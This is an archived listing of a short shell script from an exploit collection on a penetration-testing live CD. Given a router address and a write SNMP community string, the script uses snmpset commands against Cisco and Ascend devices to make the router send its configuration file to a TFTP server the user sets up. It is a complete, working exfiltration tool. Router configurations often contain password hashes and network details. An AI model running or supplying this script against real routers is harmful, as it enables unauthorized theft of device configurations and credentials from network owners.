home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / cisco / grabrtrconf.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  2KB  |  79 lines

  1. #!/bin/sh
  2. #  grabrtrconf:
  3. #  Pull router configs via tftp for cisco's and ascends. obviously trivial to
  4. #  modify this for other network hardware that supports this type of thing.
  5. #
  6. #  - [type] can be one of cisco | ascend currently
  7. #  - defaults to cisco
  8. #  - requires cmu snmp utilities (snmpset specifically)
  9. #  - use TFTPLISTEN and disable tftp from /etc/inetd.conf if you want to
  10. #    launch a 'temporary' in.tftpd just to grab the file.
  11. #  - 'pidof' only exists on linux that I know of which kindof makes this a 
  12. #    linux-only tool, unless/until I decide to stop relying on it.
  13. #  - Set 'INT' to whatever your routable IP is.
  14. #  - run as root (if you want to launch the tftp server)
  15. #
  16. #  - I know this is lame... but it works (most of the time).
  17. #
  18. #  by: Eric Monti 11/1997
  19.  
  20. TFTPLISTEN="true"
  21.  
  22. DIR=/tftpboot #might want to use something else
  23. WAIT=6
  24. INT=ppp0
  25.  
  26. test "$4" = "" && echo "Usage: `basename $0` target write-community tftphost filename [type]" && exit 1
  27.  
  28. TYPE=$5
  29. test "$5" = "" && TYPE="cisco"
  30.  
  31. IPADDR=$3
  32. test "$IPADDR" = "." && IPADDR=`/sbin/ifconfig $INT | grep inet | sed "s/\:/\ /" | awk '{print $3}'`
  33.  
  34. echo $3
  35.  
  36. if [ -n $TFTPLISTEN ];then
  37.     echo "tftp dgram udp wait root /usr/sbin/in.tftpd in.tftpd $DIR" > /tmp/ind.conf
  38.     /usr/sbin/inetd -d /tmp/ind.conf &
  39.     rm /tmp/ind.conf
  40.     rm -f $DIR/$4
  41.     touch $DIR/$4
  42.     chmod 666 $DIR/$4
  43. fi
  44.  
  45. #CISCO get config
  46. test "$TYPE" = "cisco" && \
  47. snmpset -r 3 -t 3 $1 $2 .1.3.6.1.4.1.9.2.1.55.$IPADDR s $4
  48.  
  49. #ASCEND get config
  50. if [ "$TYPE" = "ascend" ];then
  51.   snmpset -r 3 -t 3 $1 $2 .1.3.6.1.4.1.529.9.5.3.0 a $IPADDR 
  52.   snmpset -r 3 -t 3 $1 $2 .1.3.6.1.4.1.529.9.5.4.0 s $4
  53.   snmpset -r 3 $1 $2 .1.3.6.1.4.1.529.9.5.1.0 i 3
  54.   snmpset -r 3 $1 $2 .1.3.6.1.4.1.529.9.5.3.0 a "0.0.0.0"
  55.   snmpset -r 3 $1 $2 .1.3.6.1.4.1.529.9.5.4.0 s ""
  56. fi
  57.  
  58. sleep $WAIT
  59.  
  60. # i got lazy and used pidof... so what. 
  61. # I made pretty dots appear to make up for it!
  62. if (test `pidof in.tftpd`);then
  63.  
  64.  
  65.  echo Receiving file: 
  66.  while (test "`pidof in.tftpd`");do
  67.     echo -n .
  68.     sleep 1
  69.  done
  70.  echo
  71.  echo Transfer Complete
  72.  
  73. fi
  74.  
  75. if [ -n $TFTPLISTEN ];then
  76.     kill `cat /var/run/inetd.pid` # jeepers, i hope that wasnt the real1
  77. fi
  78. #                    www.hack.co.za           [23 May 2000]#